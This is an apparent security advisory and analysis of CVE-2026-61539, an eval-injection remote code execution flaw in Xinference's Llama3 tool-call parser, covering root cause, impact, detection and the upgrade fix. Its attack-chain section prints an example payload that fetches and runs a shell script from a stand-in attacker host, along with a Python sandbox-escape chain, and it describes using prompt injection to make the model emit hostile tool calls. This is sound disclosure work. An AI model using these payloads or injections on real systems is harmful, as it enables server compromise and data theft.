CVE-2026-61539: 
Python vulnerability analysis and mitigation

CVE-2026-61539 is a critical Remote Code Execution (RCE) vulnerability in Xinference (xorbitsai/inference), an inference API for running open-source, speech, and multimodal models. The flaw affects all versions up to and including 2.5.0, and stems from the use of Python's unsafe eval() function when parsing Llama3 tool-call output. It was discovered by the XlabAI Team of Tencent Xuanwu Lab and the Atuin Automated Vulnerability Discovery Engine, with the advisory first published on July 13, 2026, and added to the GitHub Advisory Database on August 21, 2026. The vulnerability carries a CVSS v3.1 base score of 10.0 (Critical) (Github Advisory, Feedly).

The root cause is CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code — 'Eval Injection'). In affected versions, the extract_tool_calls() method in xinference/model/llm/tool_parsers/llama3_tool_parser.py and _eval_llama3_chat_arguments() in xinference/model/llm/utils.py call eval(model_output, {}, {}) to parse Llama3 tool-call output into a Python dictionary. Critically, passing empty globals and locals dicts to eval() does not constitute a security sandbox — attackers can still reach Python builtins via object introspection chains such as ().__class__.__bases__[0].__subclasses__(). Requests to /v1/chat/completions containing a tools field flow through xinference/api/restful_api.py → xinference/model/llm/transformers/core.py → handle_chat_result_non_streaming() → _post_process_completion() before the unsafe eval() is invoked on model-generated output that can be influenced by attacker-controlled prompts (Github Advisory, Fix PR).

Successful exploitation allows an unauthenticated remote attacker to execute arbitrary Python code in the Xinference server process context, resulting in full compromise of confidentiality, integrity, and availability. An attacker can read sensitive files, deploy reverse shells, download malware, or pivot laterally to other systems reachable from the server. Because the scope is marked as Changed in the CVSS rating, the impact extends beyond the Xinference application boundary to any resources accessible from the host (Github Advisory, Feedly).

No public proof-of-concept exploit code has been reported, and there is no evidence of active in-the-wild exploitation at the time of disclosure (Feedly). The vulnerability is trivially exploitable by any unauthenticated attacker who can reach the /v1/chat/completions API endpoint, as the default Xinference deployment does not require authentication. The EPSS score is approximately 0.657% (49th percentile), indicating a moderate near-term exploitation probability. The CVE is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was credited to the XlabAI Team of Tencent Xuanwu Lab and the Atuin Automated Vulnerability Discovery Engine (Github Advisory).

1. Reconnaissance: Identify internet-facing Xinference instances (version ≤ 2.5.0) using tools like Shodan or Censys, searching for the OpenAI-compatible /v1/chat/completions API endpoint. Default deployments typically run without authentication.
2. Craft malicious prompt: Construct a chat completion request with a tools field to trigger the Llama3 tool-call parsing path. Include a system or user prompt designed to cause the Llama3 model to output a malicious Python expression as its tool-call response (prompt injection).
3. Send crafted request: Submit the request via HTTP POST to /v1/chat/completions, e.g.:

{
  "model": "<llama3-model-id>",
  "messages": [{"role": "user", "content": "<prompt that induces malicious output>"}],
  "tools": [{"type": "function", "function": {"name": "test", "parameters": {}}}]
}

4. Trigger eval(): The model returns a tool-call response containing a Python expression such as __import__('os').system('curl http://attacker.com/shell.sh | bash'). This output flows through _post_process_completion() and is passed directly to eval(model_output, {}, {}).
5. Achieve RCE: The expression executes in the Xinference server process context, enabling reverse shell establishment, data exfiltration, or lateral movement to other network-accessible systems (Github Advisory, Fix PR).

• Network: Unexpected outbound connections from the Xinference server to unknown external IPs or domains (e.g., reverse shell callbacks, file download requests via curl/wget); unusual HTTP POST requests to /v1/chat/completions with tools fields containing Python expression-like strings in model responses.
• Logs: Xinference application logs showing tool-call parsing errors or unexpected Python expressions in model output fields; web server access logs with repeated or anomalous POST requests to /v1/chat/completions from single or rotating source IPs.
• File System: Unexpected new files in /tmp/ (e.g., /tmp/hacked as demonstrated in the advisory PoC); new scripts, binaries, or cron jobs created by the Xinference service account; web shells or backdoors placed in accessible directories.
• Process: Unusual child processes spawned by the Xinference Python process (e.g., /bin/bash, sh, curl, wget, python3, nc); unexpected network listeners or connections initiated by the Xinference process (Github Advisory).

The primary remediation is to upgrade Xinference to version 2.7.0 or later, which replaces the unsafe eval() calls with json.loads() (primary) and ast.literal_eval() (fallback) in both llama3_tool_parser.py and utils.py (v2.7.0 Release, Fix PR). As an interim workaround, restrict network access to the /v1/chat/completions API endpoint using firewall rules or reverse proxy authentication to prevent unauthenticated access. Additionally, enable authentication mechanisms in Xinference deployments and audit recent request logs for evidence of exploitation attempts (Github Advisory).

The vulnerability was discovered by the XlabAI Team of Tencent Xuanwu Lab alongside the Atuin Automated Vulnerability Discovery Engine, reflecting growing security research attention on AI inference infrastructure. A Mastodon post from the offseq account highlighted the vulnerability shortly after disclosure. The fix was contributed by a new community contributor (Ricardo-M-L) and merged promptly, demonstrating active community engagement with security issues in the Xinference project (Github Advisory, Fix PR).